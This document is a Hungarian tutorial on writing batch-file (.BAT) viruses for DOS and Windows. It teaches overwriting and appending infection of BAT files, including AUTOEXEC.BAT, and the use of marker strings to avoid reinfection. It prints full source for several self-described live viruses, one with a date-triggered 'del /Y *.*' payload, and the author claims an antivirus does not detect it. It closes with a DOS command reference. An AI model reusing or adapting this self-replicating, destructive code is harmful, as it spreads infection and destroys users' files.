BATch virii készítése - 1. rész

Letöltés szöveges formátumban : BATVWTUT.TXT


A BAT vírus a lehetõ legegyszerûbb a vírusok közül, csak minimális programozói tudás szükséges hozzá, talán ezért rendkívül népszerû a kezdõk körében. A BAT vírusoknak megvan az az elõnyük, hogy bármilyen, M$ (DOS, WIN3.1, WIN9X, WIN2000) oprendszeren úgy futnak, hogy ihaj, ellentétben a már kihalófélben lévõ DOS-os vírusokkal, melyek elbuknak a mai vindózos fájlokon. A BAT vírusok ezzel szemben korlátlanul terjednek. A BAT vírust írónak egy dolgot kell a szeme elõtt tartani. SZINTE MINDEN GÉPEN VAN LEGALÁBB EGY BAT, AZ AUTOEXEC.BAT. Ebben a fejezetben nem térnék ki külön a BATCH programozás alapjaira, mert akkor nagyon hosszú lenne. Feltételezem, hogy rendelkezel bizonyos BAT-os alapismeretekkel. De tényleg csak egy kicsivel... Úgy próbáltam ezt a tutorialt összehozni, hogy a legkezdőbb kezdő is megértse...

Mielőtt bárki belekezd, felhívnám a figyelmét, hogy csakis a saját felelősségére. az itt található LETÖLTHETŐ BAT vírusok, kizárólag tanító jellegűek. Nem vállalok semmiféle felelősséget, vagy egyebeket az itt leírtakkal kapcsolatban. A v_ -vel kezdődő letölthető állományok ÉLŐ VÍRUSOKAT tartalmaznak, használatukért, vagy bármiféle károkozásért szintén nem vállalok semmiféle felelősséget. A pl_ kezdetű fájlok ártalmatlan példaprogramokat tartalmaznak. Szóval jó tanulást, bármi gond, vagy probléma esetén keressetek. A címem megtaláljátok itt. Ja, és kérlek benneteket, tartózkodjatok, a hasonló jellegű levelektől: Írj nekem egy vírust, Vennék egy vírust, stb. 
Köszike :)
Akkor vágjunk bele:

Milyen segédprogramok kellenek?
Bármilyen TEXT szövegszerkesztõ megteszi. DN, NC editor, Wordpad, Jegyzettömb, ilyesmik.
Vagy, ha mondjuk 8086-os géped van, és még egy kis bigyó sem megy el rajta, akkor használhatod a 
COPY CON filenév
parancsot is. Az is a BAT virii-k egyik jó tulajdonsága. DOS3.0-tól felfele minden gépen elfutnak, fejlesztésükhöz nincs szükség hatalmas progikra, sőt, a fordítással, és egyebekkel sem kell foglalkozni. Minimális erőforrást fogyasztanak. Tehát kezdőknek rendkívül ajánlott...

A Batch nyelvet a M$ fejlesztette, és használta. A BAT fájl egy olyan DOS script, melyhez végeredményben nem kell fordítóprogram, az utasítások sorról sorra hajtódnak végre, egy egyszerû TEXT formátumú fájlban. A BAT-ban használt utasításokat a COMMAND.COM értelmezi, tehát felfoghatjuk egy ún. realtime, vagy valós idejû fordítóprogramnak is, mely a programsorokat a gép által érthetõ nyelvre fordítja. Természetesen a BAT-ból minden, a Command-line-on vagy beviteli sorban végrehajtott utasítás is elindítható. Ilyen esetben a BAT mint egy egyszerû Command-line utasítássor viselkedik. A programozási, és fájlkezelési, stb. elemek természetesen keverhetõk. Program indítás, törlés, átnevezés, formattálás, dátumfigyelés, stb.
A Bat természetébõl adódóan a "programozó" lehetõségei is korlátozottak. Nem végezhet el bonyolult memóriakezelési illetve változókat igénylõ mûveleteket, tehát egy BAT vírus MINDÍG realtime (amikor elindítják, csak akkor hajtódik végre), nem stealth (lopakodó), nem képes megszakításokat figyelni, vagy magára állítani, így pl. arra sem, hogy egyszerû másoláskor fertõzzön. BAT vírust csak az õt tartalmazó BAT elindításakor aktiválhatunk.

A legtöbb Batch virii nagyon egyszerû módját használja a terjedésnek. Egyszerûen a
%0 (0. paraméter = aktuális fájl elérési útja és neve) segítségével saját magát, vagyis 1 TELJES BAT-OT átmásolnak a talált bat tetejébe. Vagyis felülírják azt. ezt a copy paranccsal érik el.
Példa:

Copy /Y %0 C:\Autoexec.bat >nul

Némi magyarázat:
A paraméterek vizsgálatára nem csak a
%0, de a %1, %2, stb. is használható, egészen 9-ig. ezek a "változók" meghívása a %-jel segítségével történik (ahogy a többié is). A %5 tehát visszaadja a BAT 5. paraméterét. (Ha volt ilyen.) 
/Y nem kér beleegyezést felülíráskor. (még szép)
A
>nul a copy üzeneteit "elhalgatja". Nincs kimenet a képernyõn. De nem csak a copy-t, hanem bármely más DOS-os program kimenetét átirányítja a NUL eszközre, vagyis sehova. Ha a > jel mellé filenevet írunk, akkor a képernyőn megjelenő üzenetek mind abba a fileba kerülnek. Pl.: 
ARJ /? >arjhelp.txt
Ezzel a módszerrel remekül lehet, mondjuk helpet listázni. Ha a > jelet megfordítjuk: < -ra, akkor az adatmozgás pont fordítva fog megtörténni. Ha a DOS-os progi "jól" van megírva, és használ paramétereket az un. DOS PROMPT-ból, v. COMMAND LINE-ból, akkor a paramétereket egy fileból fogja kiolvasni. Ez nagyon hasznos hosszú paramétersorok készítésekor, stb... Ha a > jel helyett >> jelet használunk, a kimeneti fájl, ha létezik, nem íródik felül, hanem hozzáfűződik.
Most következzen egy FELÜLÍRÓS BAT VÍRUS, az elsõ vírusom, legalább is egy részlete, a motorja: (Az Fprot Black.A-nak ismeri fel)

@Echo OFF
FOR %%f IN (*.BAT ../*.BAT) DO COPY %0 %%f >nul

Magyarázat:
@Echo off - kikapcsolja a fájl sorainak megjelenítését. Ha a sorok elejére @ jelet teszünk, akkor nem kell az ECHO-t beállítani, a sor semmiképpen nem fog megjelenni. Az echo-t helyettesíthetjük a CTTY NUL-al is, sőt, ha a sor elejére @ jelet teszünk, akkor az echo-t akár békén is hagyhatjuk, mert az így jelölt sorok automatikusan nem kerülnek kiírásra. Az @ jelnek még más különleges feladata is lesz, de erről majd később. Pl.:

@ECHO Csak a kiírás hajtódik végre, a parancssor nem látható

Ilyen esetben a @ és az azt követő parancs közé nem kell szünet. Sőt. Tilos.
Annyit azért tisztázzunk, hogy a programozás során magyar betűket kizárólag ECHO után lehet használni...

set
- Globális változó beállítása. (Ha elfogyott a környezeti beállításokhoz szükséges terület, akkor a BAT vírosk nagy része meg van lõve.) Pl.:

SET TEMP=C:\WINDOWS\TEMP 

(ez a sor ált. minden autoexec-ben benne van.) Ezután a C:\WINDOWS\TEMP könyvtárra hivatkozhatunk csak a TEMP szócskával, pl.:

ECHO %TEMP%

Ez a sor megjeleníti a TEMP tartalmát, de ugyanezt fájlokkal is eljátszhatjuk:

SET TEMP=C:\WINDOWS\TEMP 
SET MYFILE=C:\MYDIR\MYFILE.TXT 
ECHO %MYFILE%
COPY /Y %MYFILE% %TEMP%

Ezek a paramcsok persze a COMMAND LINE-ban is működnek. Ha bármelyik sort beírjuk, olyan, mintha egy BAT 1 sorát hajtanánk végre...
for - Egy nagyon egyszerû, ám rendkívül hatásos parancs. Minden, a () között deklarált fájl keresése, melynek eredményét a %%f-be teszi. Ami a DO után jön, bármilyen utasítás lehet, ami végrehajtódik a talált fájlokra.
*.bat - aktuális alkönyvtárban. 
../*.BAT - AUTOEXEC.BAT rulez! :)
Mi a különbség a
%%f és %%b között?
A
%%f használatával a DO utáni sor minden talált fájlra végrehajtódik. REALTIME
A
%%b használatával a DO utáni sor csak akkor hajtódik végre, mikor az elõzõ fájlmûvelet befejezõdött.
%%f - Bat-okat keres, és minden találatnál a talált BAT neve belekerül ebbe a "változóba".
Ha a változónk több mint egy betű, akkor a következő képpen kell hivatkoznunk rá: 
%változó% vagyis százalékjelek közé kell zárni. Az egybetűsekre a %%betű formát használjuk.
copy... nos, gondolom érthetõ

Nénány érdekes elágaztatás a
DO után (IF = HA, program elágaztatás):
Használat: IF [feltétel] [utasítás]

IF %1 ECHO OK 
-Ha van a fájlnak paramétere, akkor hajtja végre az ECHO-t.

IF EXIST %1 vagy IF EXIST %%f vagy stb... - Ha az EXIST után megadott fájl, (ami lehet változóban %%-al jelölve, vagy paraméterben (%) vagy simán is) létezik

IF NOT EXIST -Az EXIST tagadása. Ha a megadott fájl nem létezik. A NOT szócska minden eldöntendõ (boolean: igen/nem) parancs elé téve úgy módosít, hogy ha valami nem következik be, akkor hajtódik végre az utasítás.

A következõ 2 sorral,
DEBUG-olhatunk is:
Letölthető: pl_debug.bat

@Echo OFF
for %%f in (*.bat ../*.bat) do Echo %%f

Magyarázat: A talált fájlok kiírása.

Készen is van az elsõ BAT vírusunk. De be kell, hogy valljuk, a felülírás nem egy elegáns megoldás. Hogyan lehetne a vírust rávenni a hozzáfûzésre? A megoldás egyszerûnek néz ki.

@Echo OFF
FOR %%f IN (*.BAT ../*.BAT) DO COPY %0+%%f %%f>nul

Vagyis: a vírusunk és a talált BAT összemásolása. a sorrend tetszõleges, ebben az esetben a vírus kerül az elsõ helyre. Nade. Ez az eljárás a teljes file-t átmásolja, így a következõ fertõzésnél már nem csak a vírus, de a fertõzött fájl is másolásra kerül. Pl.:
Mondjuk ez van a fertõzött fileban a fertõzés után:

@Echo OFF
FOR %%f IN (*.BAT ../*.BAT) DO COPY %%f+%0 %%f>nul
Echo Öntyömpöntyöm
Echo.
Echo Pöntyömöntyöm
Echo.
REM Ez az én 1. BAT-om

A következõ fertõzéskor a file már így néz ki:

@Echo OFF
FOR %%f IN (*.BAT ../*.BAT) DO COPY %%f+%0 %%f>nul
copy /Y %0 +BlaCk1 BlaCk1
Echo Öntyömpöntyöm
Echo.
Echo Pöntyömöntyöm
Echo.
REM Ez az én 1. BAT-om
Echo. 
Echo ez már a 2. BAT-om.
Rem Copyright nemcsináloksemmit
REM Hát ez baró
mem /a /c /p

Szóval elég kellemetlen. Ezzel a fantasztikus eljárással hatalmas BAT fájlokat készíthetünk. Mivel a progi nem ellenőrzi, (nem tudja ellenőrizni), hogy a talált fájl már fertőzött e vagy sem, így egy fájlt akárhányszor felülfertőzhet. ez azonban növeli a terjedési sebességet (hozzáfűzésnél), mert a virii egy BAT-ban többször is végrehajtódik, kivéve, ha nem tartalmaz olyan kódot, mely megállítja a BAT futását. Ilyen utasítás pl.: az
EXIT
Amit csak így "simán" kiadunk, és a BAT-unk már meg is állt.

FOR %%f IN (*.BAT ../*.BAT) DO COPY %%i+%0 %%i>nul

utasítást a következõ, még a BAT-os õskorból származó 2 sorra is kicserélhetjük, aminek a legnagyobb hátrány az, amirõl már szóltam, vagyis, ha elfogy a környezeti beállítások tárolásához a mem (érdemesebb a fentit használni):

for %%f in (*.bat ../*.bat) do set BlaCk=%%f
COPY BlaCk+%0 %%f>nul

Most, hogy szinte mindent tudunk a felülíró BAT-okról, most nézzük meg azokat, amelyek már ténylegesnek vírusnak nevezhetők. Ezek a nem felülíró, vagy más néven hozzáfűző, módosító (batch appender) vírusok. A probléma most sem bonyolultabb mint az előző esetben... A lényeg az, hogy magunkat egy fájl végére, elejére, vagy belsejébe másoljuk. Csak egy különbség van. A hordozó BAT ne kerüljön át az újonnan fertőzött állományba. Hogy lehetne ezt megoldani? Nos, nagyon egyszerűen. Nézzük meg a következő forrást, ami mellesleg az előbb említett BAT, felülírós vírusom BLACK.ORIGINAL.B változata. (Minden próbálkozásom ellenére, az FPROT mégis, mint BLACK.A ismeri fel... Szar ügy. :) ):

for %%f in (*.bat ..\*.bat) do set BlaCk1=%%f 
find "BlaCk1" %0 >>%BlaCk1%


Mi az, ami elsőre feltűnik? Hát kinek mi. De nekem az a bizonyos BlaCk1 szócska. Furcsa módon minden sorban ismétlődik, és van egy olyan utasítás, amivel eddig még nem találkoztunk, a find. A mechanizmus nagyon egyszerű. A viriinknek, ha csak magát akarja átmásolni, ismernie kell a saját sorait, ezt pedig CSAK úgy érhetjük el, ha a sorok valamiben megegyeznek, úgy, hogy az a program futását ne zavarja. Tehát nincs más hátra, mint bevezetni egy környezeti változót, mondjuk a BlaCk1-et. Fontos, hogy a betűméret minden sorban stimmeljen. A memóriabeli problémákról már szóltam. Tehát ha elfogy a környezeti beállításokhoz szükséges terület, akkor a virii meg van lőve.

FIND - utasítás. Megnyitja az utána, a 2.paraméterben megadott file-t, (%0 = aktuális fájl, amiben a virii van) ami lehet akár környezeti változó is, (ezt ugye tisztáztuk.) és az első paraméterben megadott szöveget, un.: karakterláncot keresi benne, és a keresés eredményét egy globális változóba, az ERRORLEVEL-be teszi, akárcsak az összes többi parancs. Ha az utolsó parancs elvégzése sikeres volt, az ERRORLEVEL=0. Ha nem, akkor egy hibakód, vagy 1, de mindenképpen nagyobb mint 0. A harmadik paraméter, a <<%BlaCk1% azokat a sorokat, melyeknen a keresendő karakterlánc megtalálható,  a %BlaCk1% fájlhoz fűzi (< esetén felülírja). A FIND parancsról érdemes helpet kérni, tanulmányozni, ugyanis a talált sorokat a képernyőn jeleníti meg (magát a vírust), és csak ezen képernyőre történő kiírást irányítjuk át, a talált bat file-ra. A fenti esetben nem történik ellenőrzés azt illetően, hogy a file már fertőzött e. Nézzük ugyanezen forrás kicsit bővített változatát:

for %%f in (*.bat ..\*.bat) do set BlaCk1=%%f 
find "BlaCk1" %BlaCk1% >nul
if errorlevel 1 find "BlaCk1"<%0.BAT>>%BlaCk1% 

Az ERRORLEVEL a FIND esetében akkor 1, ha a keresett szöveg a fileban nem található. Hogy elkerüljük, hogy nem fertőzött fájlok esetleg tartalmazzák a mi vírusunk NEVÉT, próbáljunk meg kis-, nagy betűkből, számokból és egyéb karakterekből álló nevet kitalálni.
Tehát, ha a vírusunk nincs benne a talált fájlban, akkor megfertőzzük, SZINTÉN A FIND UTASÍTÁSSAL, tehát attól függően, hogy a kimenetet hova irányítjuk, a FIND utasítás nagyon fontos szerepet tölt be.

IF ERRORLEVEL 1 - Ha hiba volt, akkor az 1-es után lévő utasítás végrehajtódik.

Tehát: a vírus minden sorának tartalmazni kell a "nevét". Most lássunk erre egy példát. Mondjuk a BlaCk2 variáns jó is lesz erre a célra. Külön erre a célra készült, ha ráengedtek egy vírusírtót, az még nem ismeri. Még azt sem mondja rá, hogy ismeretlen vírus. Különlegessége, hogy NEM írja felül az eredeti BLACK1.A-t, (Letölthető innen) és nem "annyira" destruktív. Aki a BLACK1.A-t szeretné tanulmányozni, az várjon a következő számig, különben kellemetlen meglepetésben lehet része, mikor belenéz...Szóval a BLACK1.B: 
Letölthető: v_black2.bat

@Echo OFF%[BlaCk1]%
REM Less destructive version of (BlaCk1)! DOES NOT OVERWRITE OLD Black1.
for %%f in (*.bat ..\*.bat) do set BlaCk1=%%f
find "BlaCk1"<%BlaCk1%>nul
if errorlevel 1 find "BlaCk1"<%0>>%BlaCk1%
echo.|date|find "04.16"<nul%[BlaCk1]%
if errorlevel 0 goto :BlaCk1
if errorlevel 1 goto :BlaCk1_KILL
:BlaCk1_KILL
Cls REM BlaCk1
ECHO.Hello! I am the Black Death (BlaCk1) from Hungary! Just a moment...
del /Y *.* [%BlaCk1%]
Echo.Bang! Now you are death! (BlaCk1)
:BlaCk1

Ez a virii, szinte minden eddig tanult dolgot magába foglal. Amiről még nem beszéltem, az a GOTO utasítás:
Bármilyen BAt file belsejében van arra lehetőség, hogy bizonyos részeket átugorjunk, tehát a sorok nem egymás után hajtódnak végre. A label-nek, v. címkének nevezett valamiket a
:NEV
utasítással hozhatjuk létre, minden külön magyarázat nélkül (Csak angol betűk lehetnek a név-ben). Ha az utasítás végrehajtás egy ilyen sorhoz ér, egyszerűen nem veszi figyelembe, mintha ott sem lenne Az ilyen LABEL-eknek CSAK A GOTO utasítással van értelmük. Vagyis:
GOTO :címke
formában. így a GOTO és a LABEL közti részt átugorja, és a label után következő sorban folytatódik a végrehajtás. Természetesen előre, és hátra is hivatkozhatunk. A következő néhány sor végtelenítve írja a képernyőre, hogy Black Cat! ( :) az a nyavajás ego...) (megszakítani CTRL+C -vel, vagy CTRL+BRAKE):
Letölthető: pl_bc.bat 

:INDUL
@ECHO BLACK CAT
@GOTO :INDUL

Ennyit a GOTO-ról. Nézzétek meg a példákat, és minden érthetővé válik.  
a fent felsorolt dolgok, tulajdonságok, utasítások, természetesen végtelenül kombinálhatók. az adja meg a BAT virii egyediségét. Amit itt leírtam, az csak egy lehetséges út. Még úgy is sokminden hátra van. Egy BAT virii többet tud, mint azt mi gondolnánk, na de erről később.
Akkor jöjjenek a példák:


Vírusnév: DIRECT.A
Letölthető: v_666.bat

@echo off
@set inf=n
@set infect=n
@if %INF%==Y goto scan
@echo @SET INF=Y >a.666
@echo @call %0.bat >>a.666
@echo @echo Batch virus greets You !>>a.666
@TYPE AUTOEXEC.BAT >>A.666
@COPY A.666 AUTOEXEC.BAT >NUL
@SET INF=Y
:scan
@IF %INFECT%==Y GOTO END
@c:
@cd\
@dir %0.bat /s|find /i "Direct" >c:\a.666
@echo exit >>c:\a.666
@echo @copy %%2\%0.bat c:\ >c:\director.bat
@command <c:\a.666 >nul
@c:
@cd\
@dir /ad /s|find /i "Direct" >a.666
@echo exit >>a.666
@echo @if not exist %%2%0.bat copy c:\%0.bat %%2 >c:\Director.bat
@command < a.666 >nul
@del a.666
@del director.bat
@del %0.bat
@SET INFECT=Y
:END
@echo Good command or file name!


Vírusnév: CODE.B
Letölthető: v_code.bat

@echo off%_CoDe%
if '%1=='Inf goto CoDe_inf
if exist c:\_CoDe.bat goto CoDe_ok
if not exist %0.bat goto CoDe_out
find "CoDe"<%0.bat>c:\_CoDe.bat
:CoDe_ok
for %%a in (*.bat ..\*.bat) do call c:\_CoDe Inf %%a
if errorlevel 1 echo [CoDe] the working one.
goto CoDe_out
:CoDe_inf
find "CoDe"<%2>nul
if errorlevel 1 type c:\_CoDe.bat>>%2
:CoDe_out


FPROT REPORT


Ennyit a példákról. Most, hogy már elvileg sokat tudunk, nézzünk néhány egyszerű DOS utasítást, melyek színessé tehetik BAT-os vírusunkat: 

PARANCS

LEÍRÁS

ATTRIB

 

Fájlattribútumok megjelenítése vagy módosítása

ATTRIB [+R|-R] [+A|-A] [+S|-S] [+H|-H] [[meghajtó:][útvonal]fájlnév] [/S]

+ Attribútum beállítása
- Attribútum törlése
R Írásvédett fájlattribútum
A Archivált fájlattribútum
S Rendszer fájlattribútum
H Rejtett fájlattribútum
/S A megadott útvonal minden könyvtárában módosítja a fájlokat.
TYPE Szövegfájlok tartalmának megjelenítése

TYPE [meghajtó:][útvonal]fájlnév
DEL Egy vagy több fájl törlése

DEL [meghajtó:][útvonal]fájlnév [/P]
ERASE [meghajtó:][útvonal]fájlnév [/P]

[meghajtó:][útvonal]fájlnév A törlendő fájlok megadása. Több fájl is
megadható helyettesítő karakterek használatával.
/P A fájlok törlése előtt megerősítést kér.
MOVE Fájlok áthelyezése valamint fájlok és könyvtárak átnevezése

Egy vagy több fájlt áthelyezéséhez:
MOVE [/Y | /-Y] [meghajtó:][útvonal]fájlnév1[,...] cél

Könyvtár átnevezéséhez:
MOVE [/Y | /-Y] [meghajtó:][útvonal]könyvtárnév1 könyvtárnév2

[meghajtó:][útvonal]fájlnév1 Az áthelyezendő fájl vagy fájlok nevét
és helyét adja meg.
cél A fájl új helyét adja meg. A cél egy meghajtó
betűjelét és kettőspontot, egy könyvtárnevet
vagy ezek kombinációját tartalmazhatja. Ha

egyetlen fájlt helyez át, akkor egy fájlnevet
is belefoglalhat, ha az áthelyezéskor a fájlt
át szeretné nevezni.
[meghajtó:][útvonal]könyvtárnév1 Az átnevezendő könyvtárat adja meg.
könyvtárnév2 A könyvtár új nevét adja meg.

/Y Elnyomja a könyvtár létrehozásának vagy a cél
felülírásának megerősítését.
/-Y Kéri a könyvtár létrehozásának vagy a cél
felülírásának megerősítését.

A /Y kapcsoló szerepelhet a COPYCMD környezeti változóban.
Ezt felül lehet bírálni a parancssorban a /-Y kapcsolóval.
REN Fájl és könyvtár átnevezése

RENAME [meghajtó:][útvonal]fájlnév1 fájlnév2
REN [meghajtó:][útvonal]fájlnév1 fájlnév2

Megjegyzés: célként új meghajtó vagy elérési út nem adható meg.
DELTREE Könyvtár és a benne lévő összes alkönyvtár törlése

Egy vagy több fájl és könyvtár törléséhez:
DELTREE [/Y] [meghajtó:]elérési út [[meghajtó:]elérési út[...]]

/Y Elnyomja az alkönyvtár törlésének megerősítését
kérő szöveget.
[meghajtó:]elérési út a törlendő könyvtár nevét adja meg.

Megjegyzés: A DELTREE parancsot körültekintően kell használni. A megadott
könyvtárban lévő összes fájl és könyvtár törlődik.
START Windows vagy MS-DOS program indítása.

START [Beállítások] program [paraméterek...]
START [Beállítások] dokumentum.kiterjesztés

/m[inimalizált] Az új program minimalizált (háttérben) futtatása
/max[imalizált] Az új program maximalizált (előtérben) futtatása
/r[előző méret] Az új program előző méretben (előtérben) futtatása (alap)
/w[várakozás]   Nem tér vissza, amíg az elindított progi ki nem lép.

CALL Egyik parancsfájl (batch fájl) hívása egy másikból

CALL [meghajtó:][útvonal]fájlnév [parancsfájl paraméterek]

parancsfájl paraméterek A parancsfájl által igényelt
parancssor-adatok megadása
CHOICE Várakozás arra, hogy a felhasználó kiválasszon egyet a választékhalmazból.

CHOICE [/C[:]választék] [/N] [/S] [/T[:]c,nn] [szöveg]

/C[:]választék Az engedélyezhető billentyűket adja meg. Az alapértelmezés IN
/N A prompt karakterlánc végén nem jeleníti meg a választékot és
a kérdőjelet (?).
/S Kis- és nagybetűk megkülönböztetése.
/T[:]c,nn Alapértelmezett választás nn mp után.
szöveg A megjelenítendő karakterlánc

ERRORLEVEL a megnyomott billentyű választékban elfoglalt helye.
DATE A dátum megjelenítése vagy beállítása

DATE [dátum]

A mai dátum beállításának megjelenítéséhez és egy új dátum megadásához
írd be paraméterek nélkül a DATE parancsot. A dátum megtartásához nyomja meg
az ENTER billentyűt.
DOSKEY Parancssorok szerkesztése, parancssorok újrahívása és makrók létrehozása

DOSKEY [/kapcsoló ...] [makrónév=[szöveg]]

/BUFSIZE:méret A makró- és parancspufferméret megadása (alapérték:512)
/ECHO:on|off Be- és kikapcsolja a makróbővítéseket (alapérték:on)
/FILE:fájl Makrók listáját tartalmazó fájl megadása
/HISTORY A memóriában tárolt parancsok megjelenítése
/INSERT Új karakterek beszúrása a sorba gépelés közben
/KEYSIZE:méret A billentyűzetpuffer méretének beállítása (alapérték:15)
/LINE:méret A sorszerkesztő puffer maximális mérete (alapérték:128)
/MACROS Az összes DOSKey makró megjelenítése
/OVERSTRIKE Az új karakterek felülírása gépelés közben (alapértelmezés)
/REINSTALL A DOSKey új másolatának telepítése
makrónév A létrehozott makró nevének megadása
szöveg A makróhoz hozzárendelendő parancsok megadása

A FEL és LE nyíl parancsot hív vissza.
Az Esc törli az aktuális parancsot.
Az F7 a korábbi parancsokat jeleníti meg.
Az Alt+F7 törli a korábbi parancsokat.
[karakterek]F8 A [karakterek] paraméterrel kezdődő parancsot keresi meg.
Az F9 a parancsot a száma szerint választja ki.
Az Alt+F10 törli a makródefiníciókat.

A következő speciális kódokat DOSKey makródefiníciókban lehet használni:
$T Parancselválasztó: több parancs engedélyezése a makróban
$1-$9 Kötegparaméterek: a kötegfájlok %1-%9 paramétereivel ekvivalens.
$* A kód helyére a parancssorban, a makrónév után megadott érték kerül.
COMMAND Elindítja a Windows parancsértelmező egy új példányát.

COMMAND [[meghajtó:]útvonal] [eszköz] [/E:nnnnn] [/L:nnnn] [/U:nnn] [/P] [/MSG]
[/LOW] [/Y [/[C|K] parancs]]

[meghajtó:]útvonal A COMMAND.COM-ot tartalmazó könyvtár megadása
eszköz A parancsbemenethez és -kimenethez használt eszköz
/E:nnnnn A kezdő környezet méretének beállítása nnnnn bájtra.
(az nnnnn 256 és 32768 közötti érték legyen).
/L:nnnn A belső pufferhossz mérete (a /P kapcsolóval együtt használt)
(az nnnn 128 és 1024 közötti érték legyen).
/U:nnn A bemeneti puffer hossza (a /P kapcsolóval együtt használt).
(az nnn 128 és 255 között legyen).
/P Az új parancssor állandóvá tétele (nem lehet kilépni).
/MSG Az összes hibaüzenet tárolása a memóriában (a /P-vel együtt).
/LOW A COMMAND rezidens adatai az alsó memóriaterületen maradnak.
/Y A parancsfájl léptetése a /C vagy a /K kapcsoló szerint
/C parancs Végrehajtja a megadott parancsot, majd visszatér.
/K parancs Végrehajtja a megadott parancsot, és folytatja a futást.
%TMP% , %TEMP% Környezeti változók, a TEMP könyvtár helyét adják meg. 
Ált.: C:\WINDOWS\TEMP

%WINDIR%

- Környezeti változó, a WINDOWS könyvtár helyét adja meg.
Ált.: C:\WINDOWS
FIND Fájlban vagy fájlokban lévő szöveges karakterlánc keresése

FIND [/V] [/C] [/N] [/I] "karakterlánc" [[meghajtó:][útvonal]fájlnév[ ...]]

/V Az összes sor megjelenítése, amely NEM tartalmazza a karaktereket.
/C Csak a karaktereket tartalmazó sorok számának megjelenítése
/N Sorszám megjelenítése a sorok mellett
/I A kis- és nagybetűket nem veszi figyelembe kereséskor.
"karakterlánc"
A keresendő szöveges karakterláncot adja meg.
[meghajtó:][útvonal]fájlnév
A keresendő fájl(ok) megadása

Ha nincs megadva elérési út, akkor a FIND a parancssorban beírt vagy egy
másik parancsból kapcsolt szöveget keres.
IF Feltételes feldolgozás végrehajtása parancsfájlban (batch fájl)

IF [NOT] ERRORLEVEL szám parancs
IF [NOT] karakterlánc1==karakterlánc2 parancs
IF [NOT] EXIST fájlnév parancs

NOT Annak megadása, hogy a Windows csak hamis állapot esetén
hajtsa végre a parancsot
ERRORLEVEL szám Igaz állapotot eredményez, ha az előzőleg futtatott program a számnál nagyobb vagy egyenlő kilépési kóddal tért vissza.
parancs Annak a parancsnak a megadása, amely a feltétel teljesülése esetén végrehajtódik. 
karakterlánc==karakterlánc2  Igaz állapotot eredményez a megadott
karakterláncok egyezősége esetén.
EXIST fájlnév Igaz állapotot eredményez, ha a megadott fájl létezik.
FOR Megadott parancs futtatása egy fájlhalmaz minden egyes fájlján

FOR %változó IN (halmaz) DO parancs [parancsparaméterek]

%változó Cserélhető paraméter megadása
(halmaz) Fájlhalmazok megadása. Helyettesítő karakterek is használhatók.
parancs A fájlokon végrehajtott parancsok megadása parancsparaméterek
A megadott parancs paramétereit vagy kapcsolóit adja meg.

A FOR parancs parancsfájlban a változót a %%változó szintaxissal kell megadni %változó helyett.
SHIFT Cserélhető paraméterek helyének módosítása parancsfájlban (batch fájl)
PROMPT A Windows parancssort módosítja.

PROMPT [szöveg]

szöveg Új parancssor megadása

A parancssor normál karakterekből és az alábbi speciális jelekből állhat:

$Q = (egyenlőségjel)
$$ $ (dollárjel)
$T Aktuális idő
$D Aktuális dátum
$P Aktuális meghajtó és elérési út
$V Windows verziószám
$N Aktuális meghajtó
$G > (nagyobb jel)
$L < (kisebb jel)
$B | (függőleges vonás)
$H Backspace (az előző karakter törlése)
$E Escape kód (27-es ASCII kód)
$_ Kocsivissza és soremelés

A parancssor alapértékének visszaállításához paraméterek nélkül írd be a
PROMPT parancsot.
DIR Könyvtárban lévő fájlok és alkönyvtárak listájának megjelenítése

DIR [meghajtó:][elérési út][fájlnév] [/P] [/W] [/A[[:]attribútumok]]
[/O[[:]rendezés]] [/S] [/B] [/L] [/V] [/4]

[meghajtó:][útvonal][fájlnév]
Megadja a listázandó meghajtót, könyvtárat, illetve fájlokat.
(Lehet bővített fájlmegadás vagy több fájl megadása is.)
/P Várakozás minden képernyő után
/W Széles listázási formátum használata
/A A megadott attribútumú fájl megjelenítése
attribútumok D Könyvtárak R Írásvédett fájlok
H Rejtett fájlok A Archiválandó fájlok
S Rendszerfájlok - logikai NEM előtag
/O A fájlok rendezett sorrendű listázása
rendezés N Név szerint (ábécérendben)
S Méret szerint (előbb a kisebbek)
E Kiterjesztés szerint (ábécérendben)
D Dátum és idő szerint (előbb a korábbiak)
G Előbb a csoportkönyvtárak
- Fordított sorrend (előtag)
A A legutóbbi hozzáférés szerint (előbb a korábbiak)
/S Adott könyvtárban és alkönyvtáraiban lévő fájlok megjelenítése
/B Egyszerű formátum (fejléc és összegzés nélkül
/L Kisbetűk használata
/V Részletes mód
/4 négyjegyű évszámok (/V -vel együtt hatástalan).

A DIRCMD környezeti változóban előre be lehet állítani kapcsolókat.
Az előre beállított kapcsolókat kötőjellel (-) lehet felülbírálni; például: /-W.
COPY Egy vagy több fájl másolása egy másik helyre

COPY [/A | /B] forrás [/A | /B] [+ forrás [/A | /B] [+ ...]] [cél]
[/A | /B]] [/V] [/Y | /-Y]

forrás A másolandó fájl(ok) megadása
/A A fájl ASCII szövegfájl
/B A fájl bináris fájl
cél Az új fájl(ok) könyvtár-, illetve fájlnevének megadása
/V Ellenőrzés az új fájlok írásakor
/Y A megerősítés kikapcsolása létező
fájlok felülírásakor
/-Y A megerősítés bekapcsolása létező
fájlok felülírásakor

A /Y kapcsolót előre be lehet állítani a COPYCMD környezeti változóban.
Ez felülbírálható a parancssorban a /-Y kapcsolóval.

Fájlok hozzáfűzéséhez célként adjon meg egyetlen fájlt, de forrásként több
fájlt (helyettesítő karakterek vagy a fájl1+fájl2+fájl3 alak használatával).
CHCP Az aktív kódlap számának megjelenítése vagy beállítása

CHCP [nnn]

nnn A kódlapszám megadása

A CHCP paraméter nélküli beírásakor az aktív kódlapszám kerül kiírásra.
LFNFOR Hosszú fájlneveket engedélyez vagy tilt FOR parancsok feldolgozásakor.

LFNFOR [ON | OFF]

Az aktuális beállítás megjelenítéséhez írd be az LFNFOR parancsot paraméterek nélkül.
BREAK A kiterjesztett CTRL+C ellenőrzés beállítása vagy törlése.

BREAK [ON | OFF]

A BREAK aktuális beállításának megjelenítéséhez írd be paraméter nélkül a
BREAK parancsot.

 



MÁRA ENNYI...

